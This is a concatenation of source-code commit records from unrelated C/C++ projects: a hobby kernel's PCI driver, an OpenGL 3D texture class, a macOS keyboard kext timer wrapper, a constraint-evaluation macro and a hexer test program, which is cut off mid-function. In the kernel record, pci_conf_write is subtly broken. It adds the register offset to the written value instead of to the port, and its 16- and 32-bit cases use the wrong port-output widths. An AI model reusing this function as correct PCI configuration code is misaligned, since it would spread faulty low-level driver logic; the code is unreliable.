= PCI_MAPREG_NUM(bar);\n u32 base, size;\n if (PCI_MAPREG_TYPE(rv) == PCI_MAPREG_TYPE_MEM) {\n if (PCI_MAPREG_MEM_TYPE(rv) == PCI_MAPREG_MEM_TYPE_64BIT)\n bar_width = 8;\n \n size = PCI_MAPREG_MEM_SIZE(rv);\n base = PCI_MAPREG_MEM_ADDR(oldv);\n if (pci_show_addrs)\n cprintf(\" mem region %d: %d bytes at 0x%x\\n\",\n regnum, size, base);\n } else {\n size = PCI_MAPREG_IO_SIZE(rv);\n base = PCI_MAPREG_IO_ADDR(oldv);\n if (pci_show_addrs)\n cprintf(\" io region %d: %d bytes at 0x%x\\n\",\n regnum, size, base);\n }\n \n pci_conf_write(f, bar, oldv);\n f->reg_base[regnum] = base;\n f->reg_size[regnum] = size;\n \n if (size && !base)\n cprintf(\"PCI device %02x:%02x.%d (%04x:%04x) \"\n \"may be misconfigured: \"\n \"region %d: base 0x%x, size %d\\n\",\n f->bus->busno, f->dev, f->func,\n PCI_VENDOR(f->dev_id), PCI_PRODUCT(f->dev_id),\n regnum, base, size);\n }\n\n if (VERBOSE)\n cprintf(\"PCI function %x:%x.%d (%x:%x) enabled\\n\",\n f->bus->busno, f->dev, f->func,\n PCI_VENDOR(f->dev_id), PCI_PRODUCT(f->dev_id));\n}\n\nvoid\ninitpci(void)\n{\n if (!acpi_pci_scan_roots(pci_scan_bus)) {\n \/\/ Assume a single root bus\n static struct pci_bus root_bus;\n memset(&root_bus, 0, sizeof(root_bus));\n\n pci_scan_bus(&root_bus);\n }\n}\n<commit_msg>pci: Don't assume MSI destination is APICID 0<commit_after>#include \"types.h\"\n#include \"amd64.h\"\n#include \"kernel.hh\"\n#include \"pci.hh\"\n#include \"pcireg.hh\"\n#include \"traps.h\"\n#include \"kstream.hh\"\n#include \"cpu.hh\"\n\nstatic console_stream verbose(true);\n\nextern int e1000attach(struct pci_func *pcif);\nextern int e1000eattach(struct pci_func *pcif);\n\n\/\/ Flag to do \"lspci\" at bootup\nstatic int pci_show_devs = 0;\nstatic int pci_show_addrs = 0;\n\n\/\/ PCI \"configuration mechanism one\"\nstatic u32 pci_conf1_addr_ioport = 0x0cf8;\nstatic u32 pci_conf1_data_ioport = 0x0cfc;\n\n\/\/ PCI driver table\nstruct pci_driver {\n u32 key1, key2;\n int (*attachfn) (struct pci_func *pcif);\n};\n\n\/\/ Forward declarations\nstatic int pci_bridge_attach(struct pci_func *pcif);\n\n\/\/ pci_attach_class matches the class and subclass of a PCI device\nstruct pci_driver pci_attach_class[] = {\n { PCI_CLASS_BRIDGE, PCI_SUBCLASS_BRIDGE_PCI, &pci_bridge_attach },\n { 0, 0, 0 },\n};\n\n\/\/ pci_attach_vendor matches the vendor ID and device ID of a PCI device\nstruct pci_driver pci_attach_vendor[] = {\n \/\/ [E1000 5.2] \n \/\/ QEMU emulates an e1000 82540EM\n { 0x8086, 0x100e, &e1000attach },\n \/\/ josmp's dual ported e1000 82546GB copper\n { 0x8086, 0x1079, &e1000attach },\n \/\/ tom's e1000 82541GI copper\n { 0x8086, 0x1076, &e1000attach },\n \/\/ Both of ud0's e1000e (82573E, 82573L)\n { 0x8086, 0x108c, &e1000eattach },\n { 0x8086, 0x109A, &e1000eattach },\n { 0, 0, 0 },\n};\n\nstatic const char *pci_class[] =\n{\n \"Unknown\",\n \"Storage controller\",\n \"Network controller\",\n \"Display controller\",\n \"Multimedia device\",\n \"Memory controller\",\n \"Bridge device\",\n};\n\nstatic void\npci_print_func(struct pci_func *f)\n{\n const char *classname = pci_class[0];\n if (PCI_CLASS(f->dev_class) < sizeof(pci_class) \/ sizeof(pci_class[0]))\n classname = pci_class[PCI_CLASS(f->dev_class)];\n\n cprintf(\"PCI: %x:%x.%d: %x:%x: class: %x.%x (%s) irq: %d int: %c\\n\",\n f->bus->busno, f->dev, f->func,\n PCI_VENDOR(f->dev_id), PCI_PRODUCT(f->dev_id),\n PCI_CLASS(f->dev_class), PCI_SUBCLASS(f->dev_class), classname,\n f->irq_line, \"-ABCD\"[f->int_pin]);\n}\n\nvoid\nto_stream(print_stream *s, const struct pci_func &f)\n{\n s->print(sfmt(f.bus->busno).base(16).width(2).pad(), ':',\n sfmt(f.dev).base(16).width(2).pad(), '.',\n sfmt(f.func).base(16).width(2).pad());\n}\n\nstatic void\npci_conf1_set_addr(u32 seg,\n u32 bus,\n\t\t u32 dev,\n\t\t u32 func,\n\t\t u32 offset)\n{\n if (!(seg == 0 &&\n bus < 256 &&\n dev < 32 &&\n func < 8 &&\n offset < 256))\n panic(\"pci_conf1_set_addr\");\n \n u32 v = (1 << 31) |\t\t\/\/ config-space\n (bus << 16) | (dev << 11) | (func << 8) | (offset);\n outl(pci_conf1_addr_ioport, v);\n}\n\nu32\npci_conf_read(u32 seg, u32 bus, u32 dev, u32 func, u32 offset, int width)\n{\n pci_conf1_set_addr(seg, bus, dev, func, offset);\n switch (width) {\n case 8:\n return inb(pci_conf1_data_ioport + (offset & 3));\n case 16:\n return inw(pci_conf1_data_ioport + (offset & 2));\n case 32:\n return inl(pci_conf1_data_ioport);\n }\n panic(\"pci_conf_read: bad width %d\", width);\n}\n\nstatic u32\npci_conf_read(struct pci_func *f, u32 off)\n{\n return pci_conf_read(0, f->bus->busno, f->dev, f->func, off, 32);\n}\n\nvoid\npci_conf_write(u32 seg, u32 bus, u32 dev, u32 func, u32 offset,\n u32 val, int width)\n{\n pci_conf1_set_addr(seg, bus, dev, func, offset);\n switch (width) {\n case 8:\n outb(pci_conf1_data_ioport, val + (offset & 3));\n return;\n case 16:\n outl(pci_conf1_data_ioport, val + (offset & 2));\n return;\n case 32:\n outw(pci_conf1_data_ioport, val);\n return;\n }\n panic(\"pci_conf_write: bad width %d\", width);\n}\n\nstatic void\npci_conf_write(struct pci_func *f, u32 off, u32 v)\n{\n pci_conf_write(0, f->bus->busno, f->dev, f->func, off, v, 32);\n}\n\nstatic int __attribute__((warn_unused_result))\npci_attach_match(u32 key1, u32 key2,\n\t\t struct pci_driver *list, struct pci_func *pcif)\n{\n u32 i;\n \n for (i = 0; list[i].attachfn; i++) {\n if (list[i].key1 == key1 && list[i].key2 == key2) {\n int r = list[i].attachfn(pcif);\n if (r > 0)\n return r;\n if (r < 0)\n cprintf(\"pci_attach_match: attaching \"\n \"%x.%x (%p): %d\\n\",\n key1, key2, list[i].attachfn, r);\n }\n }\n return 0;\n}\n\nstatic int\npci_attach(struct pci_func *f)\n{\n return\n pci_attach_match(PCI_CLASS(f->dev_class),\n PCI_SUBCLASS(f->dev_class),\n &pci_attach_class[0], f) ||\n pci_attach_match(PCI_VENDOR(f->dev_id),\n PCI_PRODUCT(f->dev_id),\n &pci_attach_vendor[0], f);\n}\n\nstatic void\npci_scan_caplist(struct pci_func* f)\n{\n u32 cap_ptr = PCI_CAPLIST_PTR(pci_conf_read(f, PCI_CAPLISTPTR_REG));\n for (int i = 0; i < 10 && cap_ptr != 0; i++) {\n u32 cap_entry = pci_conf_read(f, cap_ptr);\n switch (PCI_CAPLIST_CAP(cap_entry)) {\n case PCI_CAP_MSI:\n f->msi_capreg = cap_ptr;\n break;\n default:\n break;\n }\n cap_ptr = PCI_CAPLIST_NEXT(cap_entry);\n }\n}\n\nvoid\npci_msi_enable(struct pci_func *f, u8 irqnum)\n{\n \/\/ PCI System Architecture, Fourth Edition\n\n assert(f->msi_capreg != 0);\n u32 cap_entry = pci_conf_read(f, f->msi_capreg); \n\n if (!(cap_entry & PCI_MSI_MCR_64BIT))\n panic(\"pci_msi_enable only handles 64-bit address capable devices\");\n if (PCI_MSI_MCR_MMC(cap_entry) != 0)\n panic(\"pci_msi_enable only handles 1 requested message\");\n\n \/\/ [PCI SA pg 253]\n \/\/ Step 4. Assign a dword-aligned memory address to the device's\n \/\/ Message Address Register.\n \/\/ (The Message Address Register format is mandated by the x86\n \/\/ architecture. See 9.11.1 in the Vol. 3 of the Intel architecture\n \/\/ manual.)\n uint64_t dest = cpus[0].hwid.num;\n pci_conf_write(f, f->msi_capreg + 4*1,\n (0x0fee << 20) | \/\/ magic constant for northbridge\n (dest << 12) | \/\/ destination ID\n (1 << 3) | \/\/ redirection hint\n (0 << 2)); \/\/ destination mode\n pci_conf_write(f, f->msi_capreg + 4*2, 0);\n \n \/\/ Step 5 and 6. Allocate messages for the device. Since we\n \/\/ support only one message and that is the default value in\n \/\/ the message control register, we do nothing.\n\n \/\/ Step 7. Write base message data pattern into the device's\n \/\/ Message Data Register.\n \/\/ (The Message Data Register format is mandated by the x86\n \/\/ architecture. See 9.11.2 in the Vol. 3 of the Intel architecture\n \/\/ manual.\n pci_conf_write(f, f->msi_capreg + 4*3,\n (0 << 15) | \/\/ trigger mode (edge)\n \/\/(0 << 14) | \/\/ level for trigger mode (don't care)\n (0 << 8) | \/\/ delivery mode (fixed)\n (irqnum+T_IRQ0)); \/\/ vector\n\n \/\/ Step 8. Set the MSI enable bit in the device's Message\n \/\/ control register.\n pci_conf_write(f, f->msi_capreg, cap_entry | (1 << 16));\n}\n\nstatic int\npci_scan_bus(struct pci_bus *bus)\n{\n verbose.println(\"pci: Scanning bus \", shex(bus->busno));\n\n int totaldev = 0;\n struct pci_func df;\n memset(&df, 0, sizeof(df));\n df.bus = bus;\n\n for (df.dev = 0; df.dev < 32; df.dev++) {\n u32 bhlc = pci_conf_read(&df, PCI_BHLC_REG);\n if (PCI_HDRTYPE_TYPE(bhlc) > 1)\t \/\/ Unsupported or no device\n continue;\n \n totaldev++;\n\n struct pci_func f = df;\n for (f.func = 0; f.func < (PCI_HDRTYPE_MULTIFN(bhlc) ? 8 : 1);\n f.func++) {\n struct pci_func af = f;\n \n af.dev_id = pci_conf_read(&f, PCI_ID_REG);\n if (PCI_VENDOR(af.dev_id) == 0xffff)\n\t\t\t\tcontinue;\n \n u32 intr = pci_conf_read(&af, PCI_INTERRUPT_REG);\n af.irq_line = PCI_INTERRUPT_LINE(intr);\n af.int_pin = PCI_INTERRUPT_PIN(intr);\n\n u32 cmd_status = pci_conf_read(&af, PCI_COMMAND_STATUS_REG);\n if (cmd_status & PCI_STATUS_CAPLIST_SUPPORT)\n pci_scan_caplist(&af);\n\n af.dev_class = pci_conf_read(&af, PCI_CLASS_REG);\n if (pci_show_devs)\n pci_print_func(&af);\n pci_attach(&af);\n }\n }\n return totaldev;\n}\n\nstatic int\npci_bridge_attach(struct pci_func *pcif)\n{\n u32 busreg = pci_conf_read(pcif, PCI_BRIDGE_BUS_REG);\n\n struct pci_bus nbus;\n memset(&nbus, 0, sizeof(nbus));\n nbus.parent_bridge = pcif;\n nbus.busno = (busreg >> PCI_BRIDGE_BUS_SECONDARY_SHIFT) & 0xff;\n\n if (pci_show_devs)\n cprintf(\"PCI: %x:%x.%d: bridge to PCI bus %d--%d\\n\",\n pcif->bus->busno, pcif->dev, pcif->func,\n nbus.busno,\n (busreg >> PCI_BRIDGE_BUS_SUBORDINATE_SHIFT) & 0xff);\n \n pci_scan_bus(&nbus);\n return 1;\n}\n\nvoid\npci_func_enable(struct pci_func *f)\n{\n pci_conf_write(f, PCI_COMMAND_STATUS_REG,\n PCI_COMMAND_IO_ENABLE |\n PCI_COMMAND_MEM_ENABLE |\n PCI_COMMAND_MASTER_ENABLE);\n \n u32 bar_width;\n u32 bar;\n for (bar = PCI_MAPREG_START; bar < PCI_MAPREG_END;\n bar += bar_width)\n {\n u32 oldv = pci_conf_read(f, bar);\n \n bar_width = 4;\n pci_conf_write(f, bar, 0xffffffff);\n u32 rv = pci_conf_read(f, bar);\n \n if (rv == 0)\n continue;\n \n int regnum = PCI_MAPREG_NUM(bar);\n u32 base, size;\n if (PCI_MAPREG_TYPE(rv) == PCI_MAPREG_TYPE_MEM) {\n if (PCI_MAPREG_MEM_TYPE(rv) == PCI_MAPREG_MEM_TYPE_64BIT)\n bar_width = 8;\n \n size = PCI_MAPREG_MEM_SIZE(rv);\n base = PCI_MAPREG_MEM_ADDR(oldv);\n if (pci_show_addrs)\n cprintf(\" mem region %d: %d bytes at 0x%x\\n\",\n regnum, size, base);\n } else {\n size = PCI_MAPREG_IO_SIZE(rv);\n base = PCI_MAPREG_IO_ADDR(oldv);\n if (pci_show_addrs)\n cprintf(\" io region %d: %d bytes at 0x%x\\n\",\n regnum, size, base);\n }\n \n pci_conf_write(f, bar, oldv);\n f->reg_base[regnum] = base;\n f->reg_size[regnum] = size;\n \n if (size && !base)\n cprintf(\"PCI device %02x:%02x.%d (%04x:%04x) \"\n \"may be misconfigured: \"\n \"region %d: base 0x%x, size %d\\n\",\n f->bus->busno, f->dev, f->func,\n PCI_VENDOR(f->dev_id), PCI_PRODUCT(f->dev_id),\n regnum, base, size);\n }\n\n if (VERBOSE)\n cprintf(\"PCI function %x:%x.%d (%x:%x) enabled\\n\",\n f->bus->busno, f->dev, f->func,\n PCI_VENDOR(f->dev_id), PCI_PRODUCT(f->dev_id));\n}\n\nvoid\ninitpci(void)\n{\n if (!acpi_pci_scan_roots(pci_scan_bus)) {\n \/\/ Assume a single root bus\n static struct pci_bus root_bus;\n memset(&root_bus, 0, sizeof(root_bus));\n\n pci_scan_bus(&root_bus);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"GLTexture3D.h\"\r\n#include \"GLTextureRectangle.h\"\r\n\r\n#include <iostream>\r\n#include \"GLUtility.h\"\r\n\r\nusing namespace std;\r\n\r\n\/\/ ----------------------------------------------------------------------------\r\nGLTexture3D *GLTexture3D::New(int width, int height, int depth, \r\n\t\t\t\t\t\t\t int internalformat, int format, int type, \r\n\t\t\t\t\t\t\t void *data) \r\n{\r\n\t\/\/ Check if width and height are powers of two\r\n unsigned int xs = static_cast<unsigned int>(width);\r\n unsigned int ys = static_cast<unsigned int>(height);\r\n\tunsigned int zs = static_cast<unsigned int>(depth);\r\n if ((xs & (xs - 1)) || (ys & (ys - 1)) || (zs & (zs - 1))) \r\n\t{\r\n\t\t\/\/ Non-power-of-two sizes, check available extensions\r\n\t\tif (GLEW_ARB_texture_non_power_of_two) \r\n\t\t{\r\n\t\t\tcout << \"GLTexture: sizes are not powers of two, creating NPOTS texture\" << endl;\r\n\t\t\tGLTexture3D *tex = new GLTexture3D(width, height, depth, internalformat);\r\n\t\t\tif (!tex->Allocate(format, type, data)) \r\n\t\t\t{\r\n\t\t\t\tdelete tex;\r\n\t\t\t\treturn 0;\r\n\t\t\t}\r\n\t\t\treturn tex;\r\n\t\t} \r\n\t\tcerr << \"GLTexture: non-power-of-two sized textures not supported\" << endl;\r\n\t\treturn 0;\r\n\t} \r\n\telse \r\n\t{\r\n\t\t\/\/ Create a normal texture\r\n\t\tGLTexture3D *tex = new GLTexture3D(width, height, depth, internalformat);\r\n\t\tif (!tex->Allocate(format, type, data)) \r\n\t\t{\r\n\t\t\tdelete tex;\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t\treturn tex;\r\n\t}\r\n}\r\n\r\n\/\/ ----------------------------------------------------------------------------\r\nGLTexture3D::GLTexture3D(int width, int height, int depth, int internalformat)\r\n: GLTexture(width, height, internalformat), depth(depth)\r\n{\r\n\t\/\/cout << \"GLTexture3D: Constructor\" << endl;\r\n}\r\n\r\n\/\/ ----------------------------------------------------------------------------\r\nGLTexture3D::~GLTexture3D() \r\n{\r\n\t\/\/cout << \"GLTexture3D: Destructor\" << endl;\r\n}\r\n\r\n\/\/ ----------------------------------------------------------------------------\r\nbool GLTexture3D::Allocate(int format, int type, void *data) \r\n{\r\n\t\/\/cout << \"GLTexture3D: Allocate\" << endl;\r\n\t\/\/ Store old binding to avoid messing up the state\r\n\tglPushAttrib(GL_TEXTURE_BIT);\r\n\r\n\t\/\/ Store new params\r\n\tthis->dataformat = format;\r\n\tthis->datatype = type;\r\n\r\n\tBindToCurrent();\r\n\r\n\t\/\/ Set texture object parameters\r\n\tglTexParameterf(GetTextureTarget(), GL_TEXTURE_MAG_FILTER, GL_LINEAR );\r\n\tglTexParameterf(GetTextureTarget(), GL_TEXTURE_MIN_FILTER, GL_LINEAR );\r\n\tglTexParameterf(GetTextureTarget(), GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE );\r\n\tglTexParameterf(GetTextureTarget(), GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE );\r\n\tglTexParameterf(GetTextureTarget(), GL_TEXTURE_WRAP_R, GL_CLAMP_TO_EDGE );\r\n\r\n\t\/\/ Try a proxy allocation to check available memory and parameters\r\n\tglTexImage3D(GL_PROXY_TEXTURE_3D, 0, internalformat, \r\n\t\twidth, height, depth, 0, format, type, data);\r\n\tGLint w;\r\n\tglGetTexLevelParameteriv(GL_PROXY_TEXTURE_3D, 0, GL_TEXTURE_WIDTH, &w);\r\n\t\r\n\tGLUtility::CheckOpenGLError(\"GLTexture3D: Allocate() - proxy allocation\");\r\n\t\r\n\tbool eflag = GLUtility::GetErrorFlag();\r\n\tif (w == 0 || eflag) \r\n\t{\r\n\t\tcerr << \"GLTexture3D: Proxy allocation failed, may be out of video memory\" << endl;\r\n\t\tUnbindCurrent();\r\n\t\tglPopAttrib();\r\n\t\treturn false;\r\n\t}\r\n\t\r\n\t\/\/ Allocate the texture\r\n\tglTexImage3D(GetTextureTarget(), 0, internalformat, \r\n\t\twidth, height, depth, 0, format, type, data);\r\n\tGLUtility::CheckOpenGLError(\"GLTexture3D: Allocate - glTexImage3D\");\r\n\r\n\tUnbindCurrent();\r\n\tglPopAttrib();\r\n\r\n\tif (GLUtility::GetErrorFlag()) \r\n\t{\r\n\t\tcerr << \"GLTexture3D: An OpenGL error occurred while allocating the texture\" << endl;\r\n\t\tGLUtility::ClearOpenGLError();\r\n\t\treturn false;\r\n\t}\r\n\r\n\treturn true;\r\n}\r\n<commit_msg>Whitespace cleanup.<commit_after>#include \"GLTexture3D.h\"\r\n#include \"GLTextureRectangle.h\"\r\n\r\n#include <iostream>\r\n#include \"GLUtility.h\"\r\n\r\nusing namespace std;\r\n\r\n\/\/ ----------------------------------------------------------------------------\r\nGLTexture3D *GLTexture3D::New(int width, int height, int depth, \r\n\t\t\t\t\t\t\t int internalformat, int format, int type, \r\n\t\t\t\t\t\t\t void *data) \r\n{\r\n\t\/\/ Check if width and height are powers of two\r\n unsigned int xs = static_cast<unsigned int>(width);\r\n unsigned int ys = static_cast<unsigned int>(height);\r\n\tunsigned int zs = static_cast<unsigned int>(depth);\r\n if ((xs & (xs - 1)) || (ys & (ys - 1)) || (zs & (zs - 1))) \r\n\t{\r\n\t\t\/\/ Non-power-of-two sizes, check available extensions\r\n\t\tif (GLEW_ARB_texture_non_power_of_two) \r\n\t\t{\r\n\t\t\tcout << \"GLTexture: sizes are not powers of two, creating NPOTS texture\" << endl;\r\n\t\t\tGLTexture3D *tex = new GLTexture3D(width, height, depth, internalformat);\r\n\t\t\tif (!tex->Allocate(format, type, data)) \r\n\t\t\t{\r\n\t\t\t\tdelete tex;\r\n\t\t\t\treturn 0;\r\n\t\t\t}\r\n\t\t\treturn tex;\r\n\t\t} \r\n\t\tcerr << \"GLTexture: non-power-of-two sized textures not supported\" << endl;\r\n\t\treturn 0;\r\n\t} \r\n\telse \r\n\t{\r\n\t\t\/\/ Create a normal texture\r\n\t\tGLTexture3D *tex = new GLTexture3D(width, height, depth, internalformat);\r\n\t\tif (!tex->Allocate(format, type, data)) \r\n\t\t{\r\n\t\t\tdelete tex;\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t\treturn tex;\r\n\t}\r\n}\r\n\r\n\/\/ ----------------------------------------------------------------------------\r\nGLTexture3D::GLTexture3D(int width, int height, int depth, int internalformat)\r\n: GLTexture(width, height, internalformat), depth(depth)\r\n{\r\n\t\/\/cout << \"GLTexture3D: Constructor\" << endl;\r\n}\r\n\r\n\/\/ ----------------------------------------------------------------------------\r\nGLTexture3D::~GLTexture3D() \r\n{\r\n\t\/\/cout << \"GLTexture3D: Destructor\" << endl;\r\n}\r\n\r\n\/\/ ----------------------------------------------------------------------------\r\nbool GLTexture3D::Allocate(int format, int type, void *data) \r\n{\r\n\t\/\/cout << \"GLTexture3D: Allocate\" << endl;\r\n\t\/\/ Store old binding to avoid messing up the state\r\n\tglPushAttrib(GL_TEXTURE_BIT);\r\n\r\n\t\/\/ Store new params\r\n\tthis->dataformat = format;\r\n\tthis->datatype = type;\r\n\r\n\tBindToCurrent();\r\n\r\n\t\/\/ Set texture object parameters\r\n\tglTexParameterf(GetTextureTarget(), GL_TEXTURE_MAG_FILTER, GL_LINEAR);\r\n\tglTexParameterf(GetTextureTarget(), GL_TEXTURE_MIN_FILTER, GL_LINEAR);\r\n\tglTexParameterf(GetTextureTarget(), GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\r\n\tglTexParameterf(GetTextureTarget(), GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\r\n\tglTexParameterf(GetTextureTarget(), GL_TEXTURE_WRAP_R, GL_CLAMP_TO_EDGE);\r\n\r\n\t\/\/ Try a proxy allocation to check available memory and parameters\r\n\tglTexImage3D(GL_PROXY_TEXTURE_3D, 0, internalformat, \r\n\t\twidth, height, depth, 0, format, type, data);\r\n\tGLint w;\r\n\tglGetTexLevelParameteriv(GL_PROXY_TEXTURE_3D, 0, GL_TEXTURE_WIDTH, &w);\r\n\t\r\n\tGLUtility::CheckOpenGLError(\"GLTexture3D: Allocate() - proxy allocation\");\r\n\t\r\n\tbool eflag = GLUtility::GetErrorFlag();\r\n\tif (w == 0 || eflag) \r\n\t{\r\n\t\tcerr << \"GLTexture3D: Proxy allocation failed, may be out of video memory\" << endl;\r\n\t\tUnbindCurrent();\r\n\t\tglPopAttrib();\r\n\t\treturn false;\r\n\t}\r\n\t\r\n\t\/\/ Allocate the texture\r\n\tglTexImage3D(GetTextureTarget(), 0, internalformat, \r\n\t\twidth, height, depth, 0, format, type, data);\r\n\tGLUtility::CheckOpenGLError(\"GLTexture3D: Allocate - glTexImage3D\");\r\n\r\n\tUnbindCurrent();\r\n\tglPopAttrib();\r\n\r\n\tif (GLUtility::GetErrorFlag()) \r\n\t{\r\n\t\tcerr << \"GLTexture3D: An OpenGL error occurred while allocating the texture\" << endl;\r\n\t\tGLUtility::ClearOpenGLError();\r\n\t\treturn false;\r\n\t}\r\n\r\n\treturn true;\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>#include \"TimerWrapper.hpp\"\n\nnamespace org_pqrs_KeyRemap4MacBook {\n void\n TimerWrapper::initialize(IOWorkLoop *_workLoop, OSObject *owner, IOTimerEventSource::Action func)\n {\n if (timer) terminate();\n\n if (! _workLoop) return;\n\n workLoop = _workLoop;\n if (owner == NULL) {\n owner = reinterpret_cast<OSObject *>(this);\n }\n timer = IOTimerEventSource::timerEventSource(owner, func);\n\n if (workLoop->addEventSource(timer) != kIOReturnSuccess) {\n timer->release();\n timer = NULL;\n }\n }\n\n void\n TimerWrapper::terminate(void)\n {\n if (timer) {\n timer->cancelTimeout();\n if (workLoop) {\n workLoop->removeEventSource(timer);\n }\n timer->release();\n timer = NULL;\n }\n workLoop = NULL;\n }\n}\n<commit_msg>update kext<commit_after>#include \"TimerWrapper.hpp\"\n\nnamespace org_pqrs_KeyRemap4MacBook {\n void\n TimerWrapper::initialize(IOWorkLoop *_workLoop, OSObject *owner, IOTimerEventSource::Action func)\n {\n if (timer) terminate();\n\n if (! _workLoop) return;\n\n workLoop = _workLoop;\n if (owner == NULL) {\n owner = reinterpret_cast<OSObject *>(this);\n }\n timer = IOTimerEventSource::timerEventSource(owner, func);\n\n if (workLoop->addEventSource(timer) != kIOReturnSuccess) {\n IOLog(\"[KeyRemap4MacBook ERROR] TimerWrapper addEventSource failed\\n\");\n timer->release();\n timer = NULL;\n }\n }\n\n void\n TimerWrapper::terminate(void)\n {\n if (timer) {\n timer->cancelTimeout();\n if (workLoop) {\n workLoop->removeEventSource(timer);\n }\n timer->release();\n timer = NULL;\n }\n workLoop = NULL;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2016 ct_common authors. See LICENSE file for details.\n\n#include \"ct_common\/common\/constraint_a_binary_instances.h\"\n\n#include \"ct_common\/base\/arithmetic_utils.h\"\n\nnamespace ct_common {\n\n#define CONSTRAINT_A_BINARY_SKELETON(CLASS_NAME, OP_TOKEN, EVAL_FUNC) \\\n REGISTER_CLASS_NAME(CLASS_NAME); \\\n \\\n CLASS_NAME::CLASS_NAME() = default; \\\n \\\n CLASS_NAME::~CLASS_NAME() = default; \\\n \\\n bool CLASS_NAME::EvaluateIntInternal( \\\n int loprd_val, int roprd_val) const { \\\n return EVAL_FUNC(loprd_val, roprd_val, precision_); \\\n } \\\n \\\n bool CLASS_NAME::EvaluateDoubleInternal( \\\n double loprd_val, double roprd_val) const { \\\n return EVAL_FUNC(loprd_val, roprd_val, precision_); \\\n } \\\n \\\n std::string CLASS_NAME::GetOpToken() const { \\\n return OP_TOKEN; \\\n }\n\n#include \"ct_common\/common\/constraint_a_binary_instances.inc\"\n\n#undef CONSTRAINT_A_BINARY_SKELETON\n\n} \/\/ namespace ct_common\n<commit_msg>fixed integer constraints<commit_after>\/\/ Copyright 2016 ct_common authors. See LICENSE file for details.\n\n#include \"ct_common\/common\/constraint_a_binary_instances.h\"\n\n#include \"ct_common\/base\/arithmetic_utils.h\"\n\nnamespace ct_common {\n\n#define CONSTRAINT_A_BINARY_SKELETON(CLASS_NAME, OP_TOKEN, EVAL_FUNC) \\\n REGISTER_CLASS_NAME(CLASS_NAME); \\\n \\\n CLASS_NAME::CLASS_NAME() = default; \\\n \\\n CLASS_NAME::~CLASS_NAME() = default; \\\n \\\n bool CLASS_NAME::EvaluateIntInternal( \\\n int loprd_val, int roprd_val) const { \\\n return EVAL_FUNC(loprd_val, roprd_val); \\\n } \\\n \\\n bool CLASS_NAME::EvaluateDoubleInternal( \\\n double loprd_val, double roprd_val) const { \\\n return EVAL_FUNC(loprd_val, roprd_val, precision_); \\\n } \\\n \\\n std::string CLASS_NAME::GetOpToken() const { \\\n return OP_TOKEN; \\\n }\n\n#include \"ct_common\/common\/constraint_a_binary_instances.inc\"\n\n#undef CONSTRAINT_A_BINARY_SKELETON\n\n} \/\/ namespace ct_common\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n\n (c) 2013 Hobu, Inc. hobu.inc@gmail.com\n\n Author: Andrew Bell andrew.bell.ia at gmail.com\n\n This is free software; you can redistribute and\/or modify it under the\n terms of the GNU Lesser General Licence as published by the Free Software\n Foundation. See the COPYING file for more information.\n\n This software is distributed WITHOUT ANY WARRANTY and without even the\n implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n\n*****************************************************************************\/\n\n#include <hexer\/Processor.hpp>\n#include \"las.hpp\"\n\n#include <fstream>\n#include <sstream>\n\n#include <boost\/algorithm\/string\/compare.hpp>\n\nusing namespace std;\n\n\nbool readHex(int& x, int& y, void* ctx)\n{\n static int pos = 0;\n\n static int coords[] = {\n 0, 0,\n 1, 0,\n 2, 1,\n 3, 1,\n 4, 2,\n 4, 3,\n 4, 4,\n 3, 4,\n 2, 5,\n 1, 5,\n 0, 5,\n -1, 4,\n -2, 4,\n -3, 3,\n -3, 2,\n -3, 1,\n -2, 1,\n -1, 0,\n -1, 2,\n 0, 2,\n 1, 3,\n 2, 3\n };\n\n static int num_coords = sizeof(coords) \/ (sizeof(coords[0]));\n \n if (pos + 1 < num_coords) {\n x = coords[pos++];\n y = coords[pos++];\n return true;\n }\n return false;\n}\n\n\nstd::string indent(int l)\n{\n std::string tabs;\n\n tabs.append(l * 2, ' ');\n return tabs;\n}\n\nvoid dumpPath(hexer::Path *p)\n{\n using namespace hexer;\n\n static int level = 0;\n Orientation o = p->orientation();\n std::string ostring = ((o == CLOCKWISE) ? \"CLOCKWISE\" : \"ANTICLOCKWISE\");\n indent(level);\n cerr << indent(level) << \"Path length = \" << p->pathLength() << \"!\\n\";\n cerr << indent(level) << \"Orientation = \" << ostring << \"!\\n\";\n vector<Path *> paths = p->subPaths();\n level++;\n for (int pi = 0; pi != paths.size(); ++pi)\n {\n dumpPath(paths[pi]);\n }\n level--;\n}\n\nvoid hextest(std::string filename)\n{\n using namespace hexer;\n\n vector<GridInfo *> infos;\n GridInfo *gi = new GridInfo;\n\n gi->m_hexsize = 10;\n gi->m_density = 10;\n infos.push_back(gi);\n\n \/\/ LAS l(filename);\n \/\/ l.open();\n \/\/ process(infos, l.reader);\n \n processHexes(infos, readHex);\n\n \/\/ Dump hexes.\n for (HexIter iter = gi->begin(); iter != gi->end(); ++iter)\n {\n HexInfo hi = *iter;\n cerr << \"Density\/X\/Y = \" << hi.m_density << \"\/\" <<\n hi.m_center.m_x << \"\/\" << hi.m_center.m_y << \"!\\n\";\n }\n\n delete gi;\n}\n\nvoid pathtest(std::string filename)\n{\n using namespace hexer;\n\n vector<GridInfo *> infos;\n GridInfo *gi = new GridInfo;\n\n infos.push_back(gi);\n LAS l(filename);\n l.open();\n process(infos, l.reader);\n\n for (std::vector<Path*>::size_type pi = 0; pi < gi->rootPaths().size(); ++pi)\n {\n Path *p = gi->rootPaths()[pi];\n dumpPath(p);\n }\n\n delete gi;\n}\n\nvoid boundarytest(std::string filename)\n{\n using namespace hexer;\n\n vector<GridInfo *> infos;\n GridInfo *gi = new GridInfo;\n\n infos.push_back(gi);\n \n LAS l(filename);\n l.open();\n process(infos, l.reader);\n\n std::ostringstream multi;\n multi.setf(std::ios::fixed);\n multi.precision(8);\n \n gi->toWKT(multi);\n\n std::cout << multi.str() << std::endl;\n\n delete gi;\n}\n\nint main(int argc, char* argv[])\n{\n\n \n if (argc < 3)\n {\n std::cerr << \"please specify a command and a filename. $ hextest PATH filename.las\" << std::endl;\n\t\treturn 1;\n }\n \n 